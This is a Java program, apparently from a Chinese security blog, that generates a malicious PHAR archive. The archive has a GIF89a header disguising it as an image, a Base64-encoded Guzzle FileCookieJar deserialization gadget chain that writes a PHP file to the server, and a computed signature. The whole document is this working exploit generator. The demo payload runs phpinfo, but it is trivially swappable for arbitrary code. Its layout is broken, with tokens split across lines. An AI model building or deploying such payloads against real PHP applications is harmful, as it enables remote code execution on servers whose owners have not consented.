插入代码
```package org.example;
import
com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import
com.sun.org.apache.xml.internal.security.utils.Base64;
import
java.io.ByteArrayOutputStream;
import
java.io.FileOutputStream;
import
java.io.IOException;
import
java.nio.ByteBuffer;
import
java.nio.charset.StandardCharsets;
import
java.security.MessageDigest;
import
java.security.NoSuchAlgorithmException;
public
class
App
{
public static void main( String[] args ) throws IOException, Base64DecodingException {
final FileOutputStream fileOutputStream
=
new FileOutputStream(
"phar.phar"
);
final byte[] decode
=
Base64.decode(
"TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30="
);
final String s
=
new String(decode);
fileOutputStream.write(GeneratePharFilebyte(s,
2
));
fileOutputStream.close();
}
public static byte[] GeneratePharFilebyte(String payload,
int
hashMode) {
/
/
添加 stub
String stubStr
=
"GIF89a<?php __HALT_COMPILER(); ?>\r\n"
;
byte[] stubByte
=
stubStr.getBytes(StandardCharsets.UTF_8);
/
/
长度
14
byte[] manifestMid
=
{(byte)
0x01
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x11
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x01
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
};
/
/
反序列化数据
byte[] SerializationByte
=
payload.getBytes(StandardCharsets.UTF_8);
/
/
文件数据
byte[] fileByte
=
{(byte)
0x08
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x74
, (byte)
0x65
, (byte)
0x73
, (byte)
0x74
, (byte)
0x2E
, (byte)
0x74
, (byte)
0x78
, (byte)
0x74
, (byte)
0x04
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0xF7
, (byte)
0x02
, (byte)
0x63
, (byte)
0x66
, (byte)
0x04
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x0C
,(byte)
0x7E
, (byte)
0x7F
, (byte)
0xD8
, (byte)
0xB6
, (byte)
0x01
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x00
, (byte)
0x74
, (byte)
0x65
, (byte)
0x73
, (byte)
0x74
};
/
/
Signature
/
/
2.
签名标志
ByteBuffer signaturebuffer
=
ByteBuffer.allocate(
4
);
signaturebuffer.putInt(hashMode);
byte[] signatureFlag
=
signaturebuffer.array();
/
/
GBMB
byte[] gbgm
=
{(byte)
0x47
, (byte)
0x42
, (byte)
0x4D
, (byte)
0x42
};
/
/
计算反序列化数据长度
ByteBuffer Seriabuffer
=
ByteBuffer.allocate(
4
);
Seriabuffer.putInt(SerializationByte.length);
byte[] SeriaLength
=
Seriabuffer.array();
/
/
计算总长度
int
length
=
manifestMid.length
+
SerializationByte.length
+
fileByte.length;
ByteBuffer
buffer
=
ByteBuffer.allocate(
4
);
buffer
.putInt(length);
byte[] manifestLength
=
buffer
.array();
try
{
final ByteArrayOutputStream baos
=
new ByteArrayOutputStream();
/
/
添加 stub
baos.write(stubByte);
/
/
添加manifest 总长度
reverseBytes(manifestLength);
baos.write(manifestLength);
/
/
添加 manifestMid
baos.write(manifestMid);
/
/
添加反序列化数据长度
reverseBytes(SeriaLength);
baos.write(SeriaLength);
/
/
添加反序列化数据
baos.write(SerializationByte);
/
/
添加文件
baos.write(fileByte);
/
/
添加signature
/
/
计算 signature
if
(hashMode
=
=
1
){
/
/
md5
MessageDigest md5Digest
=
MessageDigest.getInstance(
"MD5"
);
byte[] md5Bytes
=
md5Digest.digest(baos.toByteArray());
baos.write(md5Bytes);
}
else
if
(hashMode
=
=
2
) {
/
/
sha1
MessageDigest sha1Digest
=
MessageDigest.getInstance(
"SHA-1"
);
sha1Digest.update(baos.toByteArray());
byte[] hashBytes
=
sha1Digest.digest();
baos.write(hashBytes);
}
else
if
(hashMode
=
=
3
) {
/
/
SHA256
MessageDigest sha256Digest
=
MessageDigest.getInstance(
"SHA-256"
);
sha256Digest.update(baos.toByteArray());
byte[] hashBytes
=
sha256Digest.digest();
baos.write(hashBytes);
}
else
if
(hashMode
=
=
4
) {
/
/
SHA512
MessageDigest sha512Digest
=
MessageDigest.getInstance(
"SHA-512"
);
sha512Digest.update(baos.toByteArray());
byte[] hashBytes
=
sha512Digest.digest();
baos.write(hashBytes);
}
/
/
添加签名标志
reverseBytes(signatureFlag);
baos.write(signatureFlag);
/
/
添加
baos.write(gbgm);
return
baos.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
}
public static void reverseBytes(byte[] bytes) {
int
left
=
0
;
int
right
=
bytes.length
-
1
;
while
(left < right) {
/
/
交换左右两端的元素
byte temp
=
bytes[left];
bytes[left]
=
bytes[right];
bytes[right]
=
temp;
/
/
移动左右指针
left
+
+
;
right
-
-
;
}
}
}